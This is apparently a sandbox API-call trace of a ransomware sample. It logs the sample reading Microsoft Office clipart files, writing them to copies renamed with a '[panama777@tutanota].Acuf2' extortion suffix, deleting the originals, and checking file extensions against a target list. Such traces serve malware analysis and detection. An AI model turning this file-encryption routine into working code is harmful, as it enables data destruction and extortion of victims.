	[0261.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.336] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.336] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.336] GetLastError () returned 0x0
	[0261.336] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1034, lpOverlapped=0x0) returned 1
	[0261.338] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1040, lpOverlapped=0x0) returned 1
	[0261.338] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.339] WriteFile (in: hFile=0x33c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.339] SetEndOfFile (hFile=0x33c) returned 1
	[0261.339] CloseHandle (hObject=0x33c) returned 1
	[0261.339] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.339] SetEndOfFile (hFile=0x358) returned 1
	[0261.341] CloseHandle (hObject=0x358) returned 1
	[0261.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 1
	[0261.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.341] lstrlenW (lpString=".doc") returned 4
	[0261.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.341] lstrlenW (lpString=".docx") returned 5
	[0261.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.342] lstrlenW (lpString=".pdf") returned 4
	[0261.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString=".xls") returned 4
	[0261.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.342] lstrlenW (lpString=".xlsx") returned 5
	[0261.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.342] lstrlenW (lpString=".ppt") returned 4
	[0261.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.342] lstrlenW (lpString=".zip") returned 4
	[0261.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.342] lstrlenW (lpString=".rar") returned 4
	[0261.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString=".bz2") returned 4
	[0261.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString=".7z") returned 3
	[0261.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.342] lstrlenW (lpString=".dbf") returned 4
	[0261.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.342] lstrlenW (lpString=".1cd") returned 4
	[0261.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.342] lstrlenW (lpString=".jpg") returned 4
	[0261.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.342] lstrlenW (lpString=".doc") returned 4
	[0261.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.342] lstrlenW (lpString=".docx") returned 5
	[0261.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.343] lstrlenW (lpString=".pdf") returned 4
	[0261.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.343] lstrlenW (lpString=".xls") returned 4
	[0261.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.343] lstrlenW (lpString=".xlsx") returned 5
	[0261.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.343] lstrlenW (lpString=".ppt") returned 4
	[0261.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.343] lstrlenW (lpString=".zip") returned 4
	[0261.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.343] lstrlenW (lpString=".rar") returned 4
	[0261.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.343] lstrlenW (lpString=".bz2") returned 4
	[0261.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.343] lstrlenW (lpString=".7z") returned 3
	[0261.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.343] lstrlenW (lpString=".dbf") returned 4
	[0261.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.343] lstrlenW (lpString=".1cd") returned 4
	[0261.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63
	[0261.343] lstrlenW (lpString=".jpg") returned 4
	[0261.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.343] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.343] lstrlenW (lpString="DD01772_.WMF") returned 12
	[0261.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0261.606] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2300) returned 1
	[0261.606] CloseHandle (hObject=0x354) returned 1
	[0261.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20
	[0261.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0261.974] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.974] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0262.525] GetLastError () returned 0x0
	[0262.525] ReadFile (in: hFile=0x270, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x8fc, lpOverlapped=0x0) returned 1
	[0262.533] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x900, lpOverlapped=0x0) returned 1
	[0262.534] ReadFile (in: hFile=0x270, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.534] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.534] SetEndOfFile (hFile=0x32c) returned 1
	[0262.534] CloseHandle (hObject=0x32c) returned 1
	[0262.534] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.534] SetEndOfFile (hFile=0x270) returned 1
	[0262.536] CloseHandle (hObject=0x270) returned 1
	[0262.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1
	[0262.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.536] lstrlenW (lpString=".doc") returned 4
	[0262.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.536] lstrlenW (lpString=".docx") returned 5
	[0262.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.537] lstrlenW (lpString=".pdf") returned 4
	[0262.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString=".xls") returned 4
	[0262.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.537] lstrlenW (lpString=".xlsx") returned 5
	[0262.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.537] lstrlenW (lpString=".ppt") returned 4
	[0262.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.537] lstrlenW (lpString=".zip") returned 4
	[0262.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.537] lstrlenW (lpString=".rar") returned 4
	[0262.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString=".bz2") returned 4
	[0262.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString=".7z") returned 3
	[0262.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.537] lstrlenW (lpString=".dbf") returned 4
	[0262.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.537] lstrlenW (lpString=".1cd") returned 4
	[0262.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.537] lstrlenW (lpString=".jpg") returned 4
	[0262.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.537] lstrlenW (lpString=".doc") returned 4
	[0262.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.537] lstrlenW (lpString=".docx") returned 5
	[0262.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.538] lstrlenW (lpString=".pdf") returned 4
	[0262.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.538] lstrlenW (lpString=".xls") returned 4
	[0262.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.538] lstrlenW (lpString=".xlsx") returned 5
	[0262.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.538] lstrlenW (lpString=".ppt") returned 4
	[0262.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.538] lstrlenW (lpString=".zip") returned 4
	[0262.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.538] lstrlenW (lpString=".rar") returned 4
	[0262.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.538] lstrlenW (lpString=".bz2") returned 4
	[0262.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.538] lstrlenW (lpString=".7z") returned 3
	[0262.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.538] lstrlenW (lpString=".dbf") returned 4
	[0262.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.538] lstrlenW (lpString=".1cd") returned 4
	[0262.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63
	[0262.538] lstrlenW (lpString=".jpg") returned 4
	[0262.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.747] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=18194) returned 1
	[0262.747] CloseHandle (hObject=0x328) returned 1
	[0262.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20
	[0262.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.034] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.034] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0263.035] GetLastError () returned 0x0
	[0263.035] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4712, lpOverlapped=0x0) returned 1
	[0263.073] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4720, lpOverlapped=0x0) returned 1
	[0263.074] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.074] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.074] SetEndOfFile (hFile=0x328) returned 1
	[0263.074] CloseHandle (hObject=0x328) returned 1
	[0263.074] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.074] SetEndOfFile (hFile=0x35c) returned 1
	[0263.076] CloseHandle (hObject=0x35c) returned 1
	[0263.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1
	[0263.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63
	[0263.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63
	[0263.137] lstrlenW (lpString=".doc") returned 4
	[0263.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.139] lstrlenW (lpString=".docx") returned 5
	[0263.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.139] lstrlenW (lpString=".pdf") returned 4
	[0263.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.139] lstrlenW (lpString=".xls") returned 4
	[0263.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.139] lstrlenW (lpString=".xlsx") returned 5
	[0263.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.143] lstrlenW (lpString=".ppt") returned 4
	[0263.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63
	[0263.143] lstrlenW (lpString=".zip") returned 4
	[0263.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.149] lstrlenW (lpString=".rar") returned 4
	[0263.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.149] lstrlenW (lpString=".bz2") returned 4
	[0263.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.149] lstrlenW (lpString=".7z") returned 3
	[0263.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63
	[0263.149] lstrlenW (lpString=".dbf") returned 4
	[0263.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63
	[0263.151] lstrlenW (lpString=".1cd") returned 4
	[0263.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63
	[0263.151] lstrlenW (lpString=".jpg") returned 4
	[0263.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.157] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5260) returned 1
	[0263.157] CloseHandle (hObject=0x354) returned 1
	[0263.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20
	[0263.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0263.286] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.286] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.287] GetLastError () returned 0x0
	[0263.287] ReadFile (in: hFile=0x338, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x148c, lpOverlapped=0x0) returned 1
	[0263.292] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1490, lpOverlapped=0x0) returned 1
	[0263.293] ReadFile (in: hFile=0x338, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.293] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.293] SetEndOfFile (hFile=0x320) returned 1
	[0263.293] CloseHandle (hObject=0x320) returned 1
	[0263.293] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.293] SetEndOfFile (hFile=0x338) returned 1
	[0263.295] CloseHandle (hObject=0x338) returned 1
	[0263.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1
	[0263.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63
